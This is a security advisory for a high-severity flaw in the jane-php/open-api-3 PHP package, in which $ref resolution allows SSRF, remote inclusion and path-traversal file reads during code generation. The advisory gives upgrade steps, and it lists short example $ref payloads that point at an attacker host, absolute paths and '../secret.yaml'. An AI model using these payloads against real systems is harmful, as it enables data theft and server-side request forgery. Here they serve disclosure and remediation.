# Jane: $ref resolution performs SSRF + LFI (path traversal) at code-generation time (jane-php)

High severity, published 2026-11-20. Update jane-php/open-api-3 to 7.12.0 or later: composer update jane-php/open-api-3.

Canonical URL: https://buzzphp.com/security/ghsa-c3cj-3p6p-j822 · Data from GitHub as of 2026-11-25.

| | |
| --- | --- |
| Severity | high |
| Published | 2026-11-20 |
| Updated | 2026-11-20 |
| CVE | [CVE-2026-63415](https://nvd.nist.gov/vuln/detail/CVE-2026-63415) |
| GHSA | [GHSA-c3cj-3p6p-j822](https://github.com/advisories/GHSA-c3cj-3p6p-j822) |
| Weakness | CWE-22, CWE-98, CWE-611, CWE-918 |

| Package | Affected versions | Fixed in |
| --- | --- | --- |
| jane-php/open-api-3 | < 7.12.0 | 7.12.0 |

## What to do

Update jane-php/open-api-3 to 7.12.0 or later: composer update jane-php/open-api-3.

Check which version you run with `composer show jane-php/open-api-3`, and every affected package with `composer audit`.

## About this advisory

Summary jane-php resolves external $ref targets at code-generation time via filegetcontents($ref) (jane-php/json-schema-runtime/Reference.php::doResolve) with no scheme/path restriction. An attacker-controlled OpenAPI document can therefore cause: $ref: 'http://attacker/x' - SSRF (HTTP GET at gen time; response inlined = RFI); $ref: '/abs/file' - LFI; $ref: '../secret.yaml' - path-traversal LFI (CWE-22, arbitrary local JSON/YAML read). Verified 7.11.2/PHP8.1 (listener records the fetch; remote + ../ local content inlined into the generated code). file:// rejected. CWE-918/CWE-98/CWE-611/CWE-22.

Details



## Links

- [GHSA-c3cj-3p6p-j822 on GitHub](https://github.com/advisories/GHSA-c3cj-3p6p-j822)
- [CVE-2026-63415 on the National Vulnerability Database](https://nvd.nist.gov/vuln/detail/CVE-2026-63415)
- [All Composer security advisories](https://buzzphp.com/security)
